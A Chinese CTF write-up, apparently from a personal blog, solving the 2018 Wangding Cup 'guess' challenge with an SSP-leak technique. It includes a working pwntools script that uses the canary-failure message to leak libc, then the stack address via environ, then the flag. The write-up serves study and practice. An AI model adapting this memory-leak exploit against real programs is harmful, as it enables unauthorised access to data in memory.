amliaW4.github.io

title: 2018网鼎杯guess (ssp leak)

comments: true

date: 2018-08-22 08:13:34

categories:

题目下载

分析题目

img-1

程序把flag读在栈上,提供了栈溢出,但是有canary保护,看似没有其他漏洞了.

可以使用ssp leak,但是不知道栈地址。

从程序提供3次输入机会想到可以先用got地址泄露libc,然后用libc上的environ泄露栈地址,然后算出得到的栈地址与flag的距离,最后拿flag。

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'

environ = 0x03C6F38
p = process("./GUESS")
p.sendline(p64(0x602040)*0xa0)
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0xF7250
environ += libc
print hex(libc)

p.recvuntil("flag\n")
p.sendline(p64(environ)*0xa0)
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)

p.recvuntil("flag\n")
p.sendline(p64(stack - 0x168)*0xa0)
print p.recvuntil("***: ")
print p.recvline()
p.close()

参考

https://paper.tuisec.win/detail/f8d629ce47c117c

https://xz.aliyun.com/t/2608#toc-7